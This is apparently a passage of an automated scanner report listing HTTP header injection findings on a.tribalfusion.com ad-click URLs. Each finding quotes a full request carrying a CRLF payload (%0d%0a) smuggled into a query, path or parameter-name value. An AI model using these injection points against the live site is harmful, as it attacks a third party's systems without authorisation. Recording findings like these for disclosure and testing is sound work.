GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/FarmersDirect/2011Q1/A_TX/300/L44/902448725/x90/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366?360e7%0d%0ab239a5c1971=1 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of the 7987e request parameter is copied into the Location response header. The payload 308ef%0d%0a21d4ff118f0 was submitted in the 7987e parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/?7987e308ef%0d%0a21d4ff118f0 HTTP/1.1 Host: a.tribalfusion.com Proxy-Connection: keep-alive Referer: http://burp/show/25 Cache-Control: max-age=0 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ANON_ID=abnEV8xlqZbCpq4OSQ4eY8OW3wt6fZaIa5Zby32Ak5ZdPJc5fUXoI7ZafZa03falwgxkVn2F01y0pQFuYySZbChDrwlqjyBuJpN0jrf59pZcJ4cfCMdBIK8Zb6PD9sA3poqFQNdTdaNfvk9odLu1OK5XqVS5VVTZbWLB5NZbTjwlU8Tr95Roreos6dayunkSQEjZarU4rF1pZdKkKgUJQt7jQZccnPnSJao4u9MCcy7oErV3uWUa9Sm5WaK7B1ZdJ4T42yRCGFDcpFbBagwNcUQfCuHUu7mYZdkYaZbINh8m5NO6Hq4mwv6MUWeLPCe44cZbOQr1k8ZcQZdmZdaZaHZcnHhGIaT1UkluZbaQ3g15FjjKh95KgiGRXpVMPPJB7tCma8lpdZcaI7N365BWUvPQuHwidjCibqLUlpyZdxtn3A1Pmkwntr6bQbPL9NRvPlLjU19G71nph19MWLM6kUZbftXjZaK4TZdm4qSZd6veZaRCghc3VHan4WVJZaZc8r1KMN7QXikWRWeabQ59pyU788MVCexGQPEBbEn4ORHGGZbyqXGX9F1utXCPlhYZd31Za1vRcZcuOEywxn4jlWrZdVJRsOFc2G
3.55. http://a.tribalfusion.com/h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 7987e%0d%0a05abc341081 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/?7987e%0d%0a05abc341081=1 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of the ord request parameter is copied into the Location response header. The payload 87fcc%0d%0a3c02d47cd03 was submitted in the ord parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/;ord=87fcc%0d%0a3c02d47cd03 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 3 is copied into the Location response header. The payload 6ee78%0d%0a4697cd0fdb4 was submitted in the REST URL parameter 3. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/6ee78%0d%0a4697cd0fdb4/ad.doubleclick.net/jump/N339.8427.TRIBALFUSIONADNETWORK2/B5094459.6 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 4 is copied into the Location response header. The payload d2c58%0d%0a02f5864db6e was submitted in the REST URL parameter 4. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/d2c58%0d%0a02f5864db6e/jump/N339.8427.TRIBALFUSIONADNETWORK2/B5094459.6 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 5 is copied into the Location response header. The payload 61e23%0d%0a6f34d91a354 was submitted in the REST URL parameter 5. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/ad.doubleclick.net/61e23%0d%0a6f34d91a354/N339.8427.TRIBALFUSIONADNETWORK2/B5094459.6 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 6 is copied into the Location response header. The payload 79a61%0d%0a591604da318 was submitted in the REST URL parameter 6. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/ad.doubleclick.net/jump/79a61%0d%0a591604da318/B5094459.6 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 7 is copied into the Location response header. The payload f1fb1%0d%0af39af8ac1d6 was submitted in the REST URL parameter 7. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/ad.doubleclick.net/jump/N339.8427.TRIBALFUSIONADNETWORK2/f1fb1%0d%0af39af8ac1d6 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
3.62. http://a.tribalfusion.com/h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/ad.doubleclick.net/jump/N339.8427.TRIBALFUSIONADNETWORK2/B5094459.6 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 41ee6%0d%0a7a7a7915a85 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/ad.doubleclick.net/jump/N339.8427.TRIBALFUSIONADNETWORK2/B5094459.6?41ee6%0d%0a7a7a7915a85=1 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of the sz request parameter is copied into the Location response header. The payload 8d999%0d%0a5c8d14598ac was submitted in the sz parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/ad.doubleclick.net/jump/N339.8427.TRIBALFUSIONADNETWORK2/B5094459.6;sz=8d999%0d%0a5c8d14598ac HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 3 is copied into the Location response header. The payload 74b48%0d%0a8df12efedf8 was submitted in the REST URL parameter 3. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/74b48%0d%0a8df12efedf8/t.mookie1.com/t/v1/clk HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 4 is copied into the Location response header. The payload 80bfa%0d%0aa4f0fdf3135 was submitted in the REST URL parameter 4. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/80bfa%0d%0aa4f0fdf3135/t/v1/clk HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 5 is copied into the Location response header. The payload fd929%0d%0a0f9f3457d9f was submitted in the REST URL parameter 5. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/t.mookie1.com/fd929%0d%0a0f9f3457d9f/v1/clk HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 6 is copied into the Location response header. The payload f749e%0d%0aadf104c6dd3 was submitted in the REST URL parameter 6. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/t.mookie1.com/t/f749e%0d%0aadf104c6dd3/clk HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
